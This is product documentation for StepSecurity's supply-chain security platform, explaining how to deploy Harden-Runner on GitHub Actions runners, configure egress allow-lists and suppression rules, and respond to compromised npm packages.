# Introduction

## Introduction

**Welcome to the StepSecurity Documentation hub!**

Here, you'll find all the information you need to get started with StepSecurity, implement its powerful features, and manage your security operations efficiently. Our documentation is designed to help you navigate the platform effortlessly and maximize your use of StepSecurity's tools.

#### What is StepSecurity?

StepSecurity detects, prevents, and responds to software supply chain attacks across three critical surfaces: developer environments, code repositories, and CI/CD pipelines.

It works by deploying lightweight agents and automated checks at each stage of your development lifecycle:

**On CI/CD runners**, the Harden-Runner agent uses eBPF to monitor every outbound network call, file write, and process execution, correlating each event to the specific workflow step that triggered it.

**On code repositories**, automated checks block compromised npm packages and enforce security best practices through pull requests.

**On developer machines**, a lightweight script inventories AI coding agents, IDE extensions, and local packages to catch threats before they reach your pipelines.

#### Platform at a Glance

Prevent, detect, and respond across the three surfaces attackers target. Every capability links to its documentation.

|                 | 🖥️ Developer Machines                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 📁 Code Repositories                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | ♾️ CI/CD Pipelines                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **🛡️ Prevent** | <p><a href="https://docs.stepsecurity.io/packages/secure-registry">Block malicious OSS packages at install time on dev machines and CI with Secure Registry</a> <a href="https://app.storylane.io/share/zqnxshnyvnza">(demo)</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/device-policy/policies">Allow only approved IDE extensions</a> <a href="https://app.storylane.io/share/uivtaxit0ole">(demo)</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/packages/package-configs">Enforce safe package manager configurations</a> <a href="https://app.storylane.io/share/dqszpwgdwdq5">(demo)</a></p> | <p><a href="https://docs.stepsecurity.io/github/github-checks/configuration">Block PRs that pull in compromised package versions</a> <a href="https://app.storylane.io/share/7tjai6bkkmbr">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github/github-checks/configuration">Enforce a cooldown period before new package releases are adopted</a> <a href="https://app.storylane.io/share/rrrcr1ybzzge">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github/orchestrate-security/policy-driven-prs">Roll out secure Dependabot configs across all repos</a> <a href="https://app.storylane.io/share/bcbfgosjjkfa">(demo)</a></p> | <p><a href="https://docs.stepsecurity.io/github-actions/harden-runner">Restrict network egress from CI runners with Harden-Runner</a> <a href="https://app.storylane.io/share/xhizsh7scdwr">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github-actions/workflow-run-policies">Enforce security policies on every workflow run</a> <a href="https://app.storylane.io/share/oyniugodihnf">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github-actions/actions/stepsecurity-maintained-actions">Replace risky third-party Actions with StepSecurity Maintained Actions</a> <a href="https://app.storylane.io/share/v7tntzghtcr1">(demo)</a></p> |
| **🔍 Detect**   | <p><a href="https://docs.stepsecurity.io/developer-machines/mcp-servers">Discover AI coding agents and MCP servers on every machine</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/ide-extensions">Inventory installed IDE extensions</a> <a href="https://app.storylane.io/share/ovhkpufw3qgt">(demo)</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/packages/oss-packages">Find a compromised package on dev machines in seconds</a> <a href="https://app.storylane.io/share/ikokjxskmmum">(demo)</a></p>                                                                                           | <p><a href="https://docs.stepsecurity.io/github/github-checks/configuration">Screen every PR for risky dependency changes</a> <a href="https://app.storylane.io/share/7tjai6bkkmbr">(demo)</a><br><br><a href="https://docs.stepsecurity.io/packages/oss-package-search">Search for any package across repos, PRs, and machines at once</a> <a href="https://app.storylane.io/share/ikokjxskmmum">(demo)</a><br><br><a href="https://docs.stepsecurity.io/administration/admin-console/integrations">Stream detections to your SIEM in real time</a></p>                                                                                               | <p><a href="https://docs.stepsecurity.io/workspace/detections">Detect runtime compromise in CI with eBPF monitoring</a> <a href="https://app.storylane.io/share/4vqb7aofuavy">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github-actions/harden-runner/baseline">Flag anomalous outbound calls against learned network baselines</a> <a href="https://app.storylane.io/share/89apazfprobx">(demo)</a><br><br><a href="https://docs.stepsecurity.io/workspace/settings/notifications">Get alerted the moment a run behaves abnormally</a> <a href="https://app.storylane.io/share/ujnclquz72xw">(demo)</a></p>                                           |
| **⚡ Respond**   | <p><a href="https://docs.stepsecurity.io/developer-machines/ide-extensions">Pinpoint compromised packages and extensions on machines</a> <a href="https://app.storylane.io/share/ovhkpufw3qgt">(demo)</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/suspicious-files">Detect attacker-planted files, like tampered IDE extension files</a> <a href="https://app.storylane.io/share/ps5lw00rtrde">(demo)</a><br><br><a href="https://docs.stepsecurity.io/developer-machines/packages/oss-packages">Sweep all dev machines during an incident</a> <a href="https://app.storylane.io/share/ikokjxskmmum">(demo)</a></p>     | <p><a href="https://docs.stepsecurity.io/workspace/threat-center">Track active supply chain attacks in Threat Center</a><br><br><a href="https://docs.stepsecurity.io/packages/oss-package-search">Map the blast radius: which repos, PRs, and machines are affected</a> <a href="https://app.storylane.io/share/ikokjxskmmum">(demo)</a><br><br><a href="https://docs.stepsecurity.io/oss-supply-chain-security/respond">Verify every affected repo is actually remediated</a></p>                                                                                                                                                                    | <p><a href="https://docs.stepsecurity.io/github-actions/harden-runner">Block exfiltration attempts automatically at runtime</a> <a href="https://app.storylane.io/share/679y2zgzljov">(demo)</a><br><br><a href="https://docs.stepsecurity.io/github-actions/harden-runner/policy-store">Lock down runners to known-good endpoints instantly</a><br><br><a href="https://docs.stepsecurity.io/github-actions/harden-runner/baseline">Investigate incidents with run level forensics</a> <a href="https://app.storylane.io/share/89apazfprobx">(demo)</a></p>                                                                                                        |

{% hint style="success" %}
Every **Respond** capability is powered by StepSecurity's dedicated threat intelligence team, which has detected and disclosed some of the largest supply chain attacks in the industry.
{% endhint %}

#### **Documentation by Product Area**

**CI/CD Security** (this site) — Harden-Runner runtime protection, GitHub Checks, automated remediation, Actions governance, and workflow run policies for GitHub Actions pipelines.

* [GitHub Actions](https://docs.stepsecurity.io/workspace/getting-started)
* [GitLab CI](https://docs.stepsecurity.io/gitlab/)
* [Azure DevOps](https://docs.stepsecurity.io/azure-devops/)

[**OSS Supply Chain Security →**](https://docs.stepsecurity.io/oss-supply-chain-security/) — Cooldown policies, compromised package detection, enterprise-wide package search, threat intelligence, and incident response for package dependencies.

[**Dev Machine Guard →**](https://docs.stepsecurity.io/dev-machine-guard/) — Device inventory, IDE extension governance, local dependency monitoring, and AI coding agent visibility for developer machines.

#### Trusted by Leading Open-Source Projects & Enterprises

Harden-Runner, one of StepSecurity's core solutions is trusted by **13,000+** open-source projects and enterprises, including industry giants like Microsoft, Google, Kubernetes, and more.

**Recent supply chain attacks detected by Harden-Runner**

* [tj-actions/changed-files compromise](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised) ([CVE-2025-30066](https://github.com/advisories/GHSA-mrrh-fwg8-r2c3))
* [axios npm compromise: the largest npm supply chain attack by download count](https://www.stepsecurity.io/blog/behind-the-scenes-how-stepsecurity-detected-and-helped-remediate-the-largest-npm-supply-chain-attack)
* [Bitwarden CLI hijacked on npm: credential stealer targets developers, GitHub Actions, and AI tools](https://www.stepsecurity.io/blog/bitwarden-cli-hijacked-on-npm-bun-staged-credential-stealer-targets-developers-github-actions-and-ai-tools)
* [Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository](https://www.stepsecurity.io/blog/how-harden-runner-detected-the-sha1-hulud-supply-chain-attack-in-cncfs-backstage-repository)
* [NX Build System compromise](https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware)
* [xygeni-action GitHub Action backdoored via tag poisoning](https://www.stepsecurity.io/blog/xygeni-action-compromised-c2-reverse-shell-backdoor-injected-via-tag-poisoning)

**Customer case studies**

* [How Omnissa Strengthened Its Software Supply Chain Security with StepSecurity](https://www.stepsecurity.io/case-studies/omnissa)
* [How Mercari Hardened Its Software Supply Chain with StepSecurity](https://www.stepsecurity.io/case-studies/mercari)
* [Chainguard Secures GitHub Actions with StepSecurity](https://www.stepsecurity.io/case-studies/chainguard)
* [How XBOW Hardened Its Software Supply Chain with StepSecurity](https://www.stepsecurity.io/case-studies/xbow)
* [How Coveo Strengthened GitHub Actions Security with StepSecurity](https://www.stepsecurity.io/case-studies/coveo)

**See all case studies:** [View Customer Success Stories →](https://www.stepsecurity.io/case-studies)

**See every incident StepSecurity has caught in the wild:** [View All Incidents →](https://www.stepsecurity.io/incidents)


# Guides


# Deploying Harden-Runner on GitHub-hosted runners

This guide covers the two supported ways to add Harden-Runner runtime security to GitHub-hosted runners, when to choose each, and how to automate the rollout.

If you're running self-hosted runners (VM-based, Kubernetes ARC, or third-party providers like Blacksmith, Depot, Namespace, RunsOn, or Warp Build), see the [Harden-Runner overview](/github-actions/harden-runner#third-party-github-actions-runners) instead. This page is specifically about GitHub-hosted runners.

### The two options at a glance

|                               | Option 1: Custom VM image                                                            | Option 2: Harden-Runner Action                                                             |
| ----------------------------- | ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------ |
| **Recommended for**           | Organizations standardizing on GitHub-hosted custom runners across many repositories | Teams not using custom runner images, or wanting per-job control                           |
| **How protection is applied** | Agent is baked into a custom VM image, then workflows run on that image              | Action is added to each workflow job                                                       |
| **Workflow changes**          | Replace runner labels (for example, `ubuntu-latest` to `ubuntu-latest-stepsecurity`) | Add a `step-security/harden-runner@v2` step to each job                                    |
| **Automation**                | Label replacement via automated pull requests                                        | Action addition via automated pull requests                                                |
| **Policy management**         | Centralized via Policy Store                                                         | Inline in the workflow file, or centralized via Policy Store with `use-policy-store: true` |
| **API key required**          | No (configured on the image)                                                         | Only when using `use-policy-store: true`                                                   |

### Option 1: Custom VM image (preferred)

Bake the Harden-Runner agent into your GitHub-hosted custom VM image, then point your workflows at that image by replacing the runner label.

**Why it's preferred:**

* One-time setup. Every workflow that runs on the image is monitored, with no per-job configuration.
* Workflow files only need a single label change. No `uses:` step to add, no inputs to maintain.
* Coverage is enforced at the runner level, so individual workflows can't opt out by accident.
* Label replacements can be rolled out across an organization with automated pull requests.

**How to set it up:**

1. Follow the agent installation instructions on the Harden-Runner Installation page under **Settings → Harden-Runner Installations → GitHub Hosted Custom VMs**.
2. Once your custom VM image is published, replace the existing runner labels in your workflows (for example, `ubuntu-latest` to `ubuntu-latest-stepsecurity`).
3. Use [Policy Driven PRs](/github/orchestrate-security/policy-driven-prs) to roll the label replacement out across your repositories.

### Option 2: Harden-Runner Action

Add the `step-security/harden-runner@v2` Action as a step in each GitHub Actions job. This is the right choice when you're not using custom runner images, or when you want per-job control over policies.

**When to use it:**

* You run workflows on standard GitHub-hosted runners (`ubuntu-latest`, `windows-latest`, `macos-latest`) and don't have a custom VM image program.
* Different workflows in your organization need different policies and you want each defined alongside the workflow file.
* You're evaluating Harden-Runner before committing to custom images.

**Recommended configuration:**

If you choose this option, configure the Action with `use-policy-store: true`. This lets you centrally manage egress policies from the Policy Store without modifying each workflow whenever the policy changes.

```yaml
- name: Harden Runner
  uses: step-security/harden-runner@v2
  with:
    use-policy-store: true
    api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
```

You can obtain the `api-key` from your StepSecurity dashboard. Store it as a GitHub Actions secret.

Without `use-policy-store: true`, policies are defined inline (`egress-policy`, `allowed-endpoints`, and so on) and must be updated in every workflow file when they change.

**How to set it up:**

1. Use Secure Workflow or Secure Repo to generate the Action snippet for an existing workflow.
2. Roll out the change to every workflow in your organization using automated pull requests.

### Automating the rollout with Terraform

Both options can be configured and rolled out using the StepSecurity Terraform provider. The provider lets you manage your StepSecurity configuration as code, including:

* Policy Store policies and attachments
* Automated pull request configuration
* Member access, roles, and integrations

For organizations rolling Harden-Runner out across many repositories, the Terraform provider is the most maintainable path. Configuration changes go through code review, and the full state is versioned in your infrastructure repository.

### Which option should I choose?

Use the custom VM image option if any of these apply:

* You already use GitHub-hosted custom VM runners, or you're willing to adopt them.
* You want every workflow protected by default, with no per-job opt-in.
* You'd rather change a single label per workflow than add and maintain an Action step.

Use the Harden-Runner Action option if any of these apply:

* You're running on standard GitHub-hosted runners and not ready to adopt custom images.
* You want per-job policy control with policies versioned alongside the workflow.
* You're evaluating Harden-Runner and want to start with a small footprint before scaling up.

If you're not sure, start with the Action option to evaluate, then migrate to the custom VM image option once you're standardizing.


# How to enable network and runtime monitoring (Harden-Runner) for runners

### Adding Harden-Runner to GitHub-Hosted Runners

You can integrate Harden-Runner into your workflows in three ways:

#### 1. Secure Workflow (Recommended for Specific Workflow Files)

Use [Secure Workflow](/github/orchestrate-security/secure-workflow) to quickly and securely add Harden-Runner to individual workflows via an interactive setup.

Follow the interactive demo for Secure Workflow:

{% embed url="<https://app.storylane.io/share/xhizsh7scdwr>" %}

#### 2. Secure Repo (Recommended for Entire Repositories)

Apply Harden-Runner across all workflows in your repository with a single configuration using [Secure Repo](/github/orchestrate-security/secure-repo).

Follow the interactive demo for Secure Repo:

{% embed url="<https://app.storylane.io/share/205p6w8igbal>" %}

#### 3. Policy Driven PRs (Recommended for Production)

Policy-driven automation lets StepSecurity automatically generate GitHub Issues or Pull Requests to enable runtime monitoring (Harden-Runner) across your organization.

Follow this interactive walkthrough to see how it works:

{% embed url="<https://app.storylane.io/share/fqqaobdwgodp>" %}

### Adding Harden-Runner to Self-Hosted Runners

To configure a self-hosted runner in StepSecurity, please [contact us](https://www.stepsecurity.io/contact) for setup assistance.


# How to restrict network connections to explicitly allowed endpoints

You can restrict network connections to explicitly allowed endpoints using two approaches:

* Job-Level Restrictions
* Cluster-Level Restrictions

### Job-Level Block Policy

There are two ways to enforce network restrictions at the job level:

1. Manual Workflow File Updates
2. Using Policy Store

**1. Manual Workflow File Updates**

This approach does not require access to the StepSecurity backend. All configurations live within the workflow file itself, allowing you to maintain your existing change management processes and developer workflows.

Follow this interactive demo to see how to restrict network connections using job level block policy:

{% embed url="<https://app.storylane.io/share/itwirsqapkra>" %}

**2. Using Policy Store**

Use the Policy Store if:

* You don’t want endpoint definitions cluttering your workflow files
* When you want to apply the same policy across multiple workflows, repositories, or your entire organization

This method centralizes policy management and promotes reuse, consistency, and maintainability across your organization.

Follow this interactive demo to see how to restrict network connections using policy store:

{% embed url="<https://app.storylane.io/share/wj2cxwsetfjx>" %}

### Cluster-Level Block Policy

When deploying ARC Harden-Runner, you can enforce network restrictions at the cluster level using the reserve Helm parameter.

By specifying a list of allowed endpoints:

* An egress policy is applied automatically
* The policy is enforced for all GitHub Actions runs on the cluster
* No changes are required in your workflow files

{% hint style="info" %}
**Note: Even if a cluster-level block policy is in place, it can be overridden by job-level block policies.**
{% endhint %}


# How do I authenticate with the StepSecurity app

You can authenticate with the StepSecurity app using one of the following methods:

#### GitHub Authentication

Sign in using your GitHub account. This is the recommended method if you are managing GitHub repositories or organizations through StepSecurity. Simply click the “Sign in with GitHub” button on the login page and authorize access.

#### Email and Password with MFA

You can create a StepSecurity account using your email address and a secure password. After registering, you’ll receive a verification email to activate your account.

Multi-Factor Authentication (MFA) is enabled by default and cannot be disabled, ensuring strong account security from day one.

#### Single Sign-On (SSO)

If your organization has enabled SSO, you can sign in using your enterprise identity provider, follow this [guide](/administration/admin-console/access-control/security-and-auth) to get started.


# How should I improve the security of third-party actions in my organization

### Assess the Security of Your GitHub Actions

Before you can improve the security of the Actions you use, you need to know how they score.

Start this interactive demo to assess the security score of your GitHub Actions:

{% embed url="<https://app.storylane.io/share/dvrm0aily14m>" %}

### Handling Low-Scoring Actions

If an Action has a low score, you can either:

* Replace it with a maintained alternative (if one exists), or
* Submit a request for a maintained version if none is currently available.

Start this interactive demo to see how to replace an Action with a low score:

{% embed url="<https://app.storylane.io/share/zqa0oxulxv5c>" %}

### Enforce Safer Defaults Across Your Organization

#### Replace Third-Party Actions with Maintained Alternatives

You can use [Policy Based PRs](/github/orchestrate-security/policy-driven-prs) to replace all the third party actions in your Organization with StepSecurity maintained actions

Follow this interactive walkthrough to see how it works:

{% embed url="<https://app.storylane.io/share/fqqaobdwgodp>" %}

#### Enforce Usage Policies with Workflow Run Policies

**Allowed Actions Policy**

Use the Allowed Actions Workflow Run Policy to define and enforce a list of approved GitHub Actions that can run in your organization.

Follow this interactive walkthrough to see how it works:

{% embed url="<https://app.storylane.io/share/oyniugodihnf>" %}

**Compromised Actions Policy**

Use the Compromised Actions Workflow Run Policy to prevent known compromised Actions from executing within your workflows. This ensures that if an Action is found to be vulnerable or malicious, it is blocked immediately across your organization.

Follow this interactive walkthrough to see how it works:

{% embed url="<https://app.storylane.io/share/ywepexcm8irs>" %}


# How should I reduce the number of Harden-Runner anomalous endpoint alerts

After enabling Harden-Runner in audit mode, you may see many "New Endpoint" detections. Here's how to bring alert volume under control.

### Why You're Seeing Many Alerts

Harden-Runner builds a behavioral baseline for each job. Endpoints appear "anomalous" when they weren't in previous runs. Common causes:

* Baselines need several runs to capture full endpoint range
* CDNs rotate subdomains between runs
* Rare workflow triggers (releases, manual dispatch) hit endpoints not seen in regular CI
* Dependency updates introduce new network calls

### Strategy 1: Let Baselines Stabilize

Run workflows 5-10 times after enabling Harden-Runner before evaluating alert volume. Baselines improve with more observations.

### Strategy 2: Create Suppression Rules

When an endpoint is verified as legitimate, create a suppression rule to prevent recurring alerts.

1. Navigate to Harden-Runner → Detections
2. Select the anomalous endpoint alert
3. Click Create Suppression Rule
4. Confirm endpoint and scope (job-level or org-wide)

See [Suppression Rules](/github-actions/harden-runner/suppression-rules) documentation for full options or follow this interactive demo to see how this works:

{% embed url="<https://app.storylane.io/share/5tfnt9qfpsqm>" %}

#### Use Wildcards for Dynamic Endpoints

For services that rotate subdomains, such as AWS or Azure CDNs, use wildcard patterns to prevent repetitive alerts.

Example: `*.amazonaws.com`

Configure these patterns directly within the suppression rule to ensure future variations are automatically covered.

#### Establish a Review Cadence

Schedule a weekly 15-minute review of new alerts:

* If the endpoint is expected and verified as safe, create or refine a suppression rule
* If the endpoint is unexpected, investigate and correlate with recent workflow or dependency changes

### What Good Looks Like

Mature deployments typically see <5 new anomalous alerts per repo per week. Higher volume suggests baselines need more training runs.


# How can developers see and fix StepSecurity findings without security’s help?

StepSecurity enables developer self-service by surfacing actionable security findings directly in their existing workflows. This eliminates the need for back-and-forth with security teams and accelerates remediation.

We offer three key features to support this:

### [GitHub Checks](/github/github-checks)

GitHub Checks integrate security insights directly into your pull requests, making issues visible at the point of change. Developers can review findings and take appropriate action as needed.

What it does:

* Shows Harden-Runner findings in the GitHub Checks UI.
* Detects anomalous outbound network calls during CI/CD runs.
* Provides clear Pass/Fail statuses after workflows complete.
* Show StepSecurity Checks ([Required/Optional](/github/github-checks/configuration))

**Follow this interactive walkthrough to see how it works:**

{% embed url="<https://app.storylane.io/share/rrrcr1ybzzge>" %}

### [Policy Driven PRs](/github/orchestrate-security/policy-driven-prs)

Policy-driven automation lets StepSecurity automatically generates Pull Requests to fix security findings. Developers can then review the proposed changes and merge the PRs if they meet their standards.

**Follow this interactive walkthrough to see how it works:**

{% embed url="<https://app.storylane.io/share/fqqaobdwgodp>" %}

### [Workflow Run Policies](/github-actions/workflow-run-policies)

Workflow Run Policies allow you to enforce security controls by blocking GitHub Actions workflow runs that violate organization-defined policies. This is particularly useful for preventing misconfigurations and supply chain attacks in your CI/CD pipelines

**Follow this interactive walkthrough to see how it works:**

{% embed url="<https://app.storylane.io/share/wqwt6rvtvcgf>" %}


# How to Respond to a Compromised npm Package in Your Organization

When a compromised npm package is discovered in your organization, speed matters. This guide provides a step-by-step incident response workflow using StepSecurity's tools across all three product areas.

### **Step 1: Confirm the Compromise**

Check the Threat Center in your StepSecurity dashboard for active advisories. The Threat Center provides real-time threat intelligence with technical analysis, indicators of compromise (IOCs), and affected package versions. If the package appears in the Threat Center, StepSecurity has already confirmed the compromise.

If you received the alert from an external source (GitHub advisory, social media, security mailing list), cross-reference it against the Threat Center. StepSecurity's automated detection systems often flag malicious packages within minutes of publication, sometimes before public advisories exist.

<figure><img src="/files/FLFzP7ZbBRPp8NTz55R2" alt=""><figcaption></figcaption></figure>

### **Step 2: Assess the Blast Radius**

Use [**OSS Package Search**](/packages/oss-package-search) to find every instance of the compromised package across your organization:

1. Navigate to **Artifact Security → OSS Package Search**
2. Select Compromised Packages as your Search Type
3. Review results to identify all repositories, pull requests, and (if Developer MDM is enabled) developer machines where the package is present

<figure><img src="/files/wYuTbZjPfCogJ5mqj4JE" alt=""><figcaption></figcaption></figure>

This tells you exactly how widespread the exposure is. Prioritize remediation based on which repositories handle production deployments or sensitive secrets.

### **Step 3: Block Further Introduction**

If you have **GitHub Checks** enabled with the **Compromised NPM Package** control, StepSecurity is already blocking PRs that introduce the compromised package. Verify this is active:

1. Navigate to **GitHub Checks → Configuration**
2. Confirm the Compromised NPM Package control is enabled and set to **Required**

If **NPM Package Cooldown** is enabled, PRs introducing very recently published packages are also being blocked, which provides proactive protection against zero-day npm attacks.

### **Step 4: Check Runtime Exposure**

If the compromised package was already in your workflows before detection, check Harden-Runner for signs of exploitation:

1. Navigate to **Harden-Runner → Detections**
2. Look for anomalous outbound network calls or suspicious processes from recent workflow runs in affected repositories
3. Check the **Network Events** tab on relevant workflow run Insights pages for connections to known malicious endpoints (check the Threat Center for IOC domains)

If you had `egress-policy: block` enabled, Harden-Runner may have already blocked exfiltration attempts. Review blocked call detections to confirm.

### **Step 5: Remediate**

For each affected repository identified in Step 2:

* Update the compromised package to a safe version (check the Threat Center for recommended versions)
* If no safe version exists, remove the package and find an alternative
* Rotate any secrets that were accessible during workflow runs that used the compromised package, including GITHUB\_TOKEN, cloud deployment credentials, npm publish tokens, and any other secrets in the workflow environment

### **Step 6: Check Developer Machines (if Developer MDM is enabled)**

If your organization uses Developer MDM, check whether the compromised package is installed locally on developer machines:

1. Navigate to **Developer MDM → OSS Package Search**
2. Search for the compromised package
3. If found on developer machines, initiate remote removal to contain the blast radius

### **Step 7: Post-Incident Review**

Document the timeline: when the package was compromised, when it was detected, how it entered your organization, and what the impact was. Use the **Historical Dependency Timeline** to understand your exposure window. Review whether enabling additional controls (stricter cooldown periods, block-mode egress policies) would have prevented or limited the impact.


# How to Fix a Blocked Endpoint in Your Workflow

If your GitHub Actions build fails because Harden-Runner blocked an outbound network call, here's how to resolve it.

### **Why This Happened**

Your workflow has Harden-Runner configured with `egress-policy: block` and a list of `allowed-endpoints`. The workflow tried to reach an endpoint (domain + port) that isn't on the allowed list, so Harden-Runner blocked the connection to prevent potential data exfiltration.

This is Harden-Runner working as intended. The fix depends on whether the blocked endpoint is legitimate.

#### **Step 1: Find the Blocked Endpoint**

Open the failed workflow run in GitHub. In the job summary, click the Harden-Runner insights link to open the Insights page.

Go to the **Network Events** tab. Look for events with a **Blocked** status. Note the destination endpoint (e.g., `registry.npmjs.org:443`) and which workflow step triggered the call.

#### **Step 2: Determine if It's Legitimate**

Ask yourself:

* Does this endpoint belong to a known service? (Package registry, cloud provider, CDN, API)
* Does the step that triggered it logically need this connection? (A dependency installation step calling npm registry is expected; a test step calling an unknown external API is not)
* Did you recently update a dependency or add a new GitHub Action that might introduce new endpoints?

If you can explain the endpoint, it's safe to add it to the allowed list.

#### **Step 3: Add the Endpoint**

Open your workflow YAML file and add the endpoint to the `allowed-endpoints` list:

```yaml
- uses: step-security/harden-runner@v2
  with:
    egress-policy: block
    allowed-endpoints: >
      github.com:443
      api.github.com:443
      registry.npmjs.org:443
      <your-new-endpoint.com:443>
```

Commit, push, and re-run the workflow.

Alternatively, if your organization uses **Policy Store**, ask your security team to add the endpoint there. This avoids modifying the workflow YAML directly.

#### **Step 4: If It Looks Suspicious**

If you can't explain why the endpoint is being called:

* Do **not** add it to the allowed list
* Check if a recent dependency update introduced the call
* Notify your security team
* Consider reverting the most recent dependency changes and re-running the workflow to see if the blocked call disappears

**Prevention**

When a new dependency or action is added to a workflow, run it in `egress-policy: audit` mode first to discover any new endpoints before switching to block mode. Check the **Recommended Policy** tab on the Insights page for an updated endpoint list.


# Developer Experience

StepSecurity integrates directly into your existing GitHub workflows to help you secure your CI/CD pipelines—without getting in your way.

As a developer, you don’t need to change how you work. StepSecurity brings visibility, automation, and guardrails into your repositories through features like Harden-Runner, StepSecurity Maintained Actions, GitHub Checks, and automated pull requests. These tools help detect anomalies, enforce policies, and suggest safer alternatives to risky actions.

On this page, you’ll learn how to:

* Review and merge security-related pull requests created by StepSecurity
* Understand and act on GitHub Checks triggered by Harden-Runner
* Interact with StepSecurity insights directly from your PRs and workflow runs


# StepSecurity PRs

As a developer, your StepSecurity administrator can configure automated pull requests (PRs) to appear in your repository. When these PRs show up, you’ll be able to review and merge them easily.

**To better understand how it works, explore the interactive demo provided below:**

{% embed url="<https://app.storylane.io/share/tbyz7dnb3alf>" %}


# StepSecurity GitHub Checks

When StepSecurity GitHub Check is enabled for a repository, Harden Runner monitors all outbound traffic from each job at the DNS and network layers associated with a PR. This helps ensure that CI/CD runners do not communicate with unauthorized or unexpected destinations.

* ✅ If the check passes, it means everything looks clean—no suspicious or unusual network activity was detected.
* ❌If it fails, Harden-Runner found something out of the ordinary: unexpected network calls that could point to a misconfiguration or even a compromised action

As a developer, you have control: you can either cancel a check run or approve a failed StepSecurity check if the behavior is known and expected.

**Follow this interactive demo to see it in action:**

{% embed url="<https://app.storylane.io/share/fpjwzuncyj3d>" %}


# StepSecurity Workflow Run Policies

As a developer, if your workflow run is cancelled and you see the message:<br>

> *“The run was canceled by @stepsecurity-app\[bot]”*

it means the run violated a security policy configured by your StepSecurity administrator for your organization.

To understand the different scenarios where these policies may be triggered, explore the interactive demo below:

{% embed url="<https://app.storylane.io/share/wqwt6rvtvcgf>" %}


# Admin Experience

This guide is designed to help Admins successfully onboard with StepSecurity and secure their organization’s GitHub Actions workflows. You’ll learn how to install the required apps, enforce security policies, enable automated remediations, manage exceptions, and request maintained GitHub Actions

### Install the StepSecurity Apps

StepSecurity provides two GitHub Apps: Basic and Advanced. Both must be installed to unlock the full set of enterprise-grade features.

{% hint style="info" %}
**If you want to install StepSecurity across a large number of organizations, follow the instructions** [**here**](https://github.com/step-security/enterprise-app-install)
{% endhint %}

#### **StepSecurity Basic App**

* Required to access Enterprise Tier features.
* If already installed, you can skip this step.
* [Install the StepSecurity Basic App →](https://github.com/apps/stepsecurity-actions-security)

After installation, open the app and go to the Get Started section to set up and secure your CI/CD pipelines.

<figure><img src="/files/CxMU8kPbolaQPZyn6Qmy" alt=""><figcaption></figcaption></figure>

#### StepSecurity Advanced App

This app must be installed after the StepSecurity Advanced App

Unlock advanced StepSecurity capabilities with this app. Gain access to Policy-Driven Pull Requests, which automatically open and apply remediations whenever a security or compliance issue is detected—keeping your CI/CD pipelines aligned with organizational policies

{% hint style="info" %}
**This app must be installed after the StepSecurity Basic App**
{% endhint %}

**To get started,** [**install the StepSecurity Advanced App**](https://github.com/apps/stepsecurity-app)

### Set Up Policy-Driven Pull Requests

Enable Policy-Driven PRs to automate security remediation across your repositories.\
This feature allows StepSecurity to:

* Create GitHub Issues for policy violations
* Automatically open Pull Requests to fix misconfigurations

[👉 Learn how to set up Policy-Driven PRs →](/github/orchestrate-security/policy-driven-prs)

### Setting Up Harden Runner

StepSecurity's Harden-Runner adds runtime protections and telemetry to your GitHub Actions workflows. There are two supported setup paths based on the type of runner you're using:

* **GitHub-Hosted Runners:**\
  Add Harden-Runner to your workflow files using either the [**Secure Repo**](broken://pages/D2Wb40O05Mcr6hP9OEwf) or [**Secure Workflow**](broken://pages/IUYw6ePmsgdWFUmYAbee)
* **Self-Hosted Runners:**\
  Admins should follow the deployment guide provided in the app to install Harden-Runner for:
  * Kubernetes-based environments using **Actions Runner Controller (ARC)**
  * Traditional **VM- or bare-metal-based runners**

### Enable GitHub Checks

To minimize developer noise, GitHub Checks should be enabled only on repositories that have a stable baseline.

To enable **GitHub Check** for your repositories, follow the instructions provided in this [guide](broken://pages/Gl1Qm7ei5iANGikFhSYk#how-to-enable-the-github-checks-feature)

### Setup Workflow Run Policies

Workflow Run Policies allow you to enforce security controls by blocking GitHub Actions workflow runs that violate organization-defined policies.

[👉Learn how to set up Workflow Run policies](/github-actions/workflow-run-policies)

### Configure Suppression Rules

If harmless outbound calls (e.g., to `www.google.com`) are being flagged repeatedly, you can create Suppression Rules to silence false positives and reduce developer friction.

Suppression Rules allow you to:

* Ignore specific outbound network calls from trusted domains
* Reduce alert noise while maintaining visibility into new threats

[👉Learn how to configure Suppression Rules](/github-actions/harden-runner/suppression-rules#how-to-create-a-suppression-rule)

### Request a New StepSecurity Maintained Action

If your organization has enabled the [Allowed Actions Workflow Policy](/github-actions/workflow-run-policies/policies#allowed-actions-policy), any new GitHub Action must first be reviewed and approved by an Admin before developers can use it.

When a developer attempts to use an Action that is not currently maintained by StepSecurity, you can request StepSecurity to create a maintained version of that Action.

[👉 Follow this guide to request a maintained Action](/github-actions/actions/action-requests#follow-this-interactive-demo-to-see-how-to-request-a-stepsecurity-maintained-action)

### Programmatic management of the platform

